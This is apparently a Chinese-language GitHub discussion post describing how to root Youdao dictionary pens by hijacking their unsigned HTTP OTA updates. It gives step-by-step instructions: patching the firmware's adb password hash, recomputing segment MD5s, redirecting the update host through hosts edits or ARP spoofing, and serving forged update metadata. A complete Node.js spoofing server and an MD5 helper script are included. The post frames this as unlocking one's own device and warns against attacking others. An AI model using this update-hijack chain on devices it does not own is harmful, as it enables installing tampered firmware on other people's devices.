https://github.com/orgs/PenUniverse/discussions/250
原帖 : #249
问题已向网易反馈二次,均没有得到处理
该方法理论上有道全系通用
声明
#202 #178
本方法总结了上面两个帖子的讨论内容,感谢各位大佬提供的思路。
免责:使用本方法以及本方法获取的权限造成的一切后果,如远程施法、有道律师函、词典笔损坏、家长批评、第三次世界大战.. 与作者无关。
此漏洞十分危险,无论你是否想要给词典笔提权,都请做到:不在陌生的网络环境更新系统、警惕莫名奇妙的系统更新、关闭更新包自动下载 , 以及不要利用此漏洞攻击别人的设备。
原理
通过抓包可以分析,有道的OTA更新使用的是不安全的HTTP,以及更新镜像的MD5是返回在POST请求中的。同时,通过逆向抓包下载到的全量固件,发现有道的词典笔OS并没有做必要的系统更新签名校验。故我们可以修改一个全量包,修改其中adb_auth.sh 中的 sha256 值来实现修改密码,再通过规则转发来让词典笔更新我们自己的镜像。
实现
- 首先,通过抓包抓取系统全量包
- 使用
binwalk拆解全量包,得到原始adb密码的sha256值 - 使用
sed -i命令替换sha256值 - 检查新镜像的大小,确保一致
- 重新按照POST请求返回中的MD5分段重新计算分段MD5和新的整包MD5
- 取得新镜像的文件直链
- 创建
nodejs服务器,修改返回值 - 修改系统hosts文件,将
iotapi.abupdate.com重定向到你的欺骗服务器 - 在词典笔上先检查一次更新
- 使用Windows热点连接词典笔,或者使用arp欺骗攻击
- 再次检查更新,更新新的系统镜像
- 连接adb
相关资源(适用有道词典笔S6)
使用的node js脚本 (记得修改镜像直链)
const http = require('http');
const fs = require('fs');
const path = require('path');
const port = 80;
// 假设这是你的自定义 JSON 数据
const JsonData = {
"releaseNotes": {
"publishDate": "2023-11-18",
"version": "4.0.2",
"content": "[{\"country\":\"zh_CN\",\"content\":\"1、修复部分问题,优化系统稳定性\"}]"
},
"safe": {
"isEncrypt": 0
},
"version": {
"segmentMd5": "[{\"num\":0,\"startpos\":0,\"md5\":\"11ca35db346f49135324020d8ed9969b\",\"endpos\":104857600},{\"num\":1,\"startpos\":104857600,\"md5\":\"3c05419707b6981093fb6ed50a92a095\",\"endpos\":209715200},{\"num\":2,\"startpos\":209715200,\"md5\":\"eea450e348bd4f36c8abe28b8eda0a6d\",\"endpos\":314572800},{\"num\":3,\"startpos\":314572800,\"md5\":\"36dcce0dfda04040c87dc5fdbe53039e\",\"endpos\":419430400},{\"num\":4,\"startpos\":419430400,\"md5\":\"147f9c36c8353e514305f2917182ef35\",\"endpos\":524288000},{\"num\":5,\"startpos\":524288000,\"md5\":\"d1f1733a399d92c10b5723d4fc86747f\",\"endpos\":629145600},{\"num\":6,\"startpos\":629145600,\"md5\":\"ca1e07d0e986145cbf8e97113d8588f4\",\"endpos\":734003200},{\"num\":7,\"startpos\":734003200,\"md5\":\"21b0dcf16b91120ac79a2337ddd741f8\",\"endpos\":838860800},{\"num\":8,\"startpos\":838860800,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":943718400},{\"num\":9,\"startpos\":943718400,\"md5\":\"4b5e89f2ed4c7ba70269e1c67257a480\",\"endpos\":1048576000},{\"num\":10,\"startpos\":1048576000,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1153433600},{\"num\":11,\"startpos\":1153433600,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1258291200},{\"num\":12,\"startpos\":1258291200,\"md5\":\"bdc427a4857dd06b1eef994e454077ae\",\"endpos\":1363148800},{\"num\":13,\"startpos\":1363148800,\"md5\":\"47366679b58ec4436205a40e8cf3ac7e\",\"endpos\":1397096460}]",
"bakUrl": "填写你自己的镜像直链",
"versionAlias": "",
"deltaUrl": "填写你自己的镜像直链",
"deltaID": "9457867",
"fileSize": 1397096460,
"md5sum": "1d4ce19a13629aa9d72499012d4046e9",
"versionName": "99.99.91"
},
"policy": {
"download": [
{
"key_name": "wifi",
"key_message": "仅wifi下载",
"key_value": "optional"
},
{
"key_name": "storageSize",
"key_message": "存储空间不足",
"key_value": "76944507"
},
{
"key_name": "forceDownload",
"key_message": "",
"key_value": "false"
}
],
"install": [
{
"key_name": "battery",
"key_message": "电量不足,请充电后重试!",
"key_value": "30"
},
{
"key_name": "voltage",
"key_message": "",
"key_value": ""
},
{
"key_name": "rebootUpgrade",
"key_message": "",
"key_value": "false"
},
{
"key_name": "force",
"key_message": "",
"key_value": "{\"from\": \"00:00\", \"to\": \"00:00\",\"gap\": \"00:00\"}"
}
],
"check": [
{
"key_name": "cycle",
"key_message": "",
"key_value": "1500"
},
{
"key_name": "remind",
"key_message": "",
"key_value": "1440"
}
]
}
};
// 获取当前日期,并格式化为 HTTP 头所需的格式
const getFormattedDate = () => {
const now = new Date();
return now.toUTCString(); // 转换为 UTC 格式
};
// 创建 HTTP 服务器
const server = http.createServer((req, res) => {
console.log(`${req.method} request for ${req.url} at ${new Date().toISOString()}`);
if (req.method === 'GET' && req.url === '/product/1687249911/e3025e518840fce8/ota/checkVersion') {
// 设置自定义头部
res.writeHead(200, {
'Server': 'nginx/1.20.1',
'Content-Type': 'application/json;charset=UTF-8',
'Date': getFormattedDate(), // 使用当前日期
'Transfer-Encoding': 'chunked',
'Connection': 'close'
});
// 发送 JSON 数据
res.write(JSON.stringify({
status: 1000,
msg: 'success',
data: JsonData
}));
res.end(); // 结束响应
} else if (req.method === 'POST' && req.url === '/product/1687249911/e3025e518840fce8/ota/checkVersion') {
// 设置自定义头部
res.writeHead(200, {
'Server': 'nginx/1.20.1',
'Content-Type': 'application/json;charset=UTF-8',
'Date': getFormattedDate(), // 使用当前日期
'Transfer-Encoding': 'chunked',
'Connection': 'close'
});
// 发送 JSON 数据
res.write(JSON.stringify({
status: 1000,
msg: 'success',
data: JsonData
}));
res.end(); // 结束响应
}
else {
// 处理其他请求
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not Found');
}
});
// 启动服务器
server.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});使用的修改后的全量包(与上面的脚本中的MD5值匹配)
使用的分段md5计算脚本
import hashlib
def calculate_partial_md5(file_path, start, end):
# Initialize the MD5 hasher
md5 = hashlib.md5()
# Open the file in binary read mode
with open(file_path, 'rb') as f:
f.seek(start) # Move the file pointer to the start position
chunk = f.read(end - start) # Read the specified chunk of the file
md5.update(chunk) # Update the MD5 hasher with the chunk
# Return the hexadecimal MD5 hash
return md5.hexdigest()
# Usage example
file_path = ''
start_byte = # Specify the start byte
end_byte = # Specify the end byte
partial_md5 = calculate_partial_md5(file_path, start_byte, end_byte)
print(f"Partial MD5 hash: {partial_md5}")成功后,adb密码将修改为 YDPenS6
